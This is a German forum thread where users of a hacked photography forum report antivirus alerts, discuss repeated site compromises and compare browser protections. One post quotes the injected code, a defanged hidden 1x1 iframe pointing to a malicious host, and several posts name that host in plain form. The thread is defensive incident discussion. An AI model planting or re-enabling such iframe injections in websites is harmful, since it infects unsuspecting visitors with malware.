Forum schon wieder verseucht ?

[chmee]

Schaltet mal wieder auf Solidarität um! Und letztlich interessieren mich auch keine persönlichen Hilferufe. Wenn ihr im Supportbereich des Forums helfen wollt, dann schreibt als Geschädigte zumindest mal den Virennamen (und das AV-Programm) dazu, mich interessiert, ob der Downloader (aktuelle) immer den gleichen Virus/Trojaner raufpackt, oder ob es Zufall/Variationen gibt.

Im Endeffekt geht (hier) es um das Forum und eine Hilfestellung zur Sicherung des Servers. Für alle anderen gibt es zuhauf spezialisierte Foren, die mit Sicherheit schon ganz viel Text bereithalten.

mfg chmee

 

[CarstenHH]

Inzwischen scheint es sich hauptsächlich Nachts abzuspielen.
Da nur Rüdiger oder Thomas befugt sind, in das Forum "administrativ"
einzugreifen, bleibt das "wilde Tier" dann meistens die Nacht über
aktiv im Forum und kann viele User "verseuchen".

Also, da ist nichts mit 6 Stunden Intervall, aber man kann sicher sein,
wenn, dann hauptsächlich Nachts.

 

[CarstenHH]

Schaltet mal wieder auf Solidarität um! Und letztlich interessieren mich auch keine persönlichen Hilferufe.

....liest sich auch nicht gerade wirklich wie Solidarität

 

[Canophil]

Hallo!

Mein Kasper meldet beim Aufrufen des Forums und bei
jedem Klick auf einen Link:

"http://ixv36481.ipq.co/?r=302

Der Link wurde in einer Datenbank gefunden

Ergebnis: verboten"

Könnt Ihr damit was anfangen?

Gruß

Canophil

 

[Blueline56]

Das ist heute schon das dritte mal, das mein Virenscanner anschlägt, langsam verliere ich die Lust auf dieses Forum, das zieht sich ja jetzt schon über Wochen hin...

 

[Torsten_HB]

Das ist heute schon das dritte mal, das mein Virenscanner anschlägt, langsam verliere ich die Lust auf dieses Forum, das zieht sich ja jetzt schon über Wochen hin...

Was denn, erst zum dritten Mal?

Scherz beiseite. Solange deine Sicherheitsvorkehrungen greifen, ist doch alles ok. Ok, es nervt etwas, aber das ist doch schon alles.

 

[ewm]

Ja, ich sehe das "Dings".

Jetzt links ganz unten


Echt Mist! Ich wünsch den Betreibern den Nerven und Erfolg, dieser Schweinerei endlich ein Ende zu bereiten.

Gruß
ewm

 

[CarstenHH]

stellt sich die Frage, ob die Sicherheitsvorkehrungen in Zukunft auch greifen, oder ob mal ein gut getarntes Tierchen zum Angriff bläst. Oder ob es nicht langweilig wird, wenn hier nicht mehr sooo viel passiert und man sich dann neues ausdenkt mit einer höheren Schadenswirkung.

 

['Ingo]

IFRAME wieder da :-(

 

[Lilien]

Auch bei mir werden gegenwärtig wieder Zugriffe nach ixv36481.ipq.co/?r=302 geblockt - RequestPolicy (Firefox Addon) ist da glücklicherweise sehr zuverlässig.
Erstaunlicherweise erfolgen die Zugriffsversuche sogar, obwohl Javascript per NoScript deaktiviert ist.

Gibt es eigentlich eine schnelle Möglichkeit, um Rüdiger jeweils Bescheid zu sagen?

Schon bemerkenswert, wie schnell von der Gegenseite das Forum immer wieder gehackt/manipuliert wird, da scheint eine nicht unerhebliche kriminelle Energie vorhanden zu sein.

MfG, Jürgen

 

[Gast_99693]

Warum wird das eigentlich immer wieder an andere Stellen geschrieben?

Diesmal steht es ganz am Ende der Seiten:

<script type="text/javascript">
<!--
	// Main vBulletin Javascript Initialization
	vBulletin_init();
//-->
</script>[COLOR="Red"][B]<iframe src='h[U]xx[/U]p://ixv36481[U],[/U]ipq[U],[/U]co/?r=302' border='0' height='1' width='1'></iframe>[/B][/COLOR]

Ich hab's etwas verändert (unterstrichene Stellen), damit keine Virenscanner nur wegen dieses Posts anschlagen.

P.S. Ist das korrekt, dass vBulletin_init(); auskommentiert ist, oder wurde das auch vom Angreifer manipuliert? Edit: Das war eine wirklich dumme Frage

 

[Torsten_HB]

stellt sich die Frage, ob die Sicherheitsvorkehrungen in Zukunft auch greifen, oder ob mal ein gut getarntes Tierchen zum Angriff bläst. Oder ob es nicht langweilig wird, wenn hier nicht mehr sooo viel passiert und man sich dann neues ausdenkt mit einer höheren Schadenswirkung.

Auch wenn ich mich wiederhole: Browser in die Sandbox, und das Risiko ist in Verbindung mit den üblichen Schutzprogrammen extrem niedrig.

 

[Gast_99693]

Erstaunlicherweise erfolgen die Zugriffsversuche sogar, obwohl Javascript per NoScript deaktiviert ist.

NoScript blockt standardmäßig keine IFrames, das musst Du erst einschalten.

 

[-drs-]

Ich kann nicht verstehen, was diese schwachsinnigen Anstachelungen hier sollen?
Vielleicht solltest Du mal alles lesen, dann wüsstest Du, wie gering die Bedrohung für Windows User ist.

also so polemisch sehe ich das nicht auch schreibe ich keinen Schwachsinn... mich wundert es nur dass hier irgend welche Flecken auf dem DSLR Logo gesehen werden die dann den PC mit Anschlägen quälen... man liest von genervten User, ja sogar von empörten User die den Rücken dem DSLR Forum gedreht hatten, andere versuchen hier irgend welche NO-JS’s zu installieren um sich zu schützen... und vieles mehr... ich verfolge diesen Thread seit Anfang an und kann mir einen objektiven Überblick verschaffen, all das was hier erwähnt wurde habe ich hier nur von der Seite still beobachtet ohne davon selber betroffen zu sein...

die Bedrohung für Windows User hängt von seinen Kenntnisstand in der Thematik der Sicherheit ab und gerade damit haben sich hier die meisten geschlagen, nur (sehr) wenige konnten ihre PC’s in stille halten...

und diese von mir zusammengefasste Tatsache nennst du Schwachsinn? solch unangebrachte Sprüche zeugen von praxisfremden Denkweise und basieren auf Gefühlsebene... mehr sage ich nichts dazu.

Und wo ist der Supportbezug bei diesem überflüssigen Gechatte? Steffen

 

['Ingo]

Mein Iron will nicht in Sandiebox laufen, zu groß sag das Programm

 

[-drs-]

Safari läuft ab Werk mit Sandbox, die Technologie kommt ja vom mac

 

[CarstenHH]

Ich habe schon seit Tagen angeregt einen Notfallplan bzw. eine
Ausweitung der Kompetenzen der Moderatoren einzuführen.
Aber, es wird wohl wieder so sein, wie Montag Nacht und letzte Nacht,
das Tier darf hier seine Nacht verbringen.

 

[-drs-]

...das Tier darf hier seine Nacht verbringen.

na und?

 

[Torsten_HB]

Mein Iron will nicht in Sandiebox laufen, zu groß sag das Programm

Du bist mutig..... Der Browser gehört nicht gerade zu den sichersten....
Ansonsten packe Opera, Firefox oder den IE rein. Die laufen in der Sandiebox ohne Probleme.

 

[ewm]

Auch wenn ich mich wiederhole: Browser in die Sandbox, und das Risiko ist in Verbindung mit den üblichen Schutzprogrammen extrem niedrig.

Dann kläre bitte mal ob Nutzer mit IE8 auch betroffen sind. Der Sandbox - Betrieb des IE8 als Standard- Einstellung wird doch propagiert.

Ganz normal installiert, ohne Sandiebox.

Ist das wirklich so ???

Gruß
ewm